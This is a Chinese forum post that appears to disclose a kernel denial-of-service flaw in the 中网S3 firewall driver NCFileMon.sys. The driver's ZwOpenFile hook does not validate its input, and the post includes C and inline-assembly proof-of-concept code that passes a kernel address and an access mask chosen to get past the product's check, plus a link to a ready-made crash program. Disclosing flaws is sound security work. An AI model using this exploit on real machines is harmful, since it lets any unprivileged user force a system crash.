- 论坛徽章:
- 0
|
中网S3是一款号称4D & 4M齐全的防火墙、HIDS/HIPS软件\r\n\r\n其最新版本3.5.0.2及以下所有版本的驱动程序存在多出内核拒绝服务漏洞,可使任何权限用户在安装了中网S3的系统上引发蓝屏\r\n\r\n出问题的组件(已验证版本):NCFileMon.sys ,版本:5.2.3700.0(囧) , CheckSum = 0x00036d61,TimeStamp = 0x46f774e2\r\n\r\n驱动中对于SSDT部分函数的inline hook存在参数检查不严格的问题,用户态传入错误参数即可导致驱动出错,引发系统崩溃,蓝屏重启。\r\n\r\n示例函数: hk_ZwOpenFile\r\n\r\n验证版本函数偏移量:0x97f6\r\n\r\nZwOpenFile的原型是:\r\n\r\nNTSTATUS\r\nZwOpenFile(\r\n__out PHANDLE FileHandle,\r\n__in ACCESS_MASK DesiredAccess,\r\n__in POBJECT_ATTRIBUTES ObjectAttributes,\r\n__out PIO_STATUS_BLOCK IoStatusBlock,\r\n__in ULONG ShareAccess,\r\n__in ULONG OpenOptions\r\n)\r\n\r\n该HOOK函数对于第三个参数 ObjectAttributes->ObjectName->Buffer未作有效性验证,只判断了是否为空。另外,由于该HOOK函数体 内有结构化异常处理,但是该处理机制只对用户模式地址访问异常有效,因此我们构造错误的内核地址参数,即可引发蓝屏\r\n\r\n测试代码:\r\n\r\nHMODULE hlib = LoadLibrary(\"ntdll.dll\");\r\nPVOID p = GetProcAddress(hlib , \"ZwOpenFile\");\r\n\r\nOBJECT_ATTRIBUTES oba ;\r\nUNICODE_STRING strname ;\r\nstrname.Buffer = (PWSTR)0x80000000 ;\r\n\r\noba.ObjectName = &strname ;\r\n\r\nIO_STATUS_BLOCK iosb ;\r\nHANDLE hfile ;\r\n\r\n__asm{\r\n\r\npush 0\r\npush 0\r\nlea eax , iosb\r\npush eax\r\nlea eax,oba\r\npush eax\r\npush 0x40000000 //set access mask to bypass S3 \'s check\r\nlea eax,hfile\r\npush eax\r\ncall p\r\n\r\n}\r\n\r\n用户态任意权限的程序运行此代码后,即可引发系统蓝屏重启\r\n\r\n测试程序下载:http://mj0011.ys168.com ,漏洞演示目录下 :BSOD_ncS3.rar\r\n\r\n另外,S3中验证缓存有效性的方法存在一定问题,虽然较难由用户态主动触发,但有一定引发蓝屏的几率,另外,其校验方法也比正规的参数校验方法消耗更多的CPU时间,因此安装了中网S3主机安全系统的机器可能会有较大程度的非必要性能降低 |
|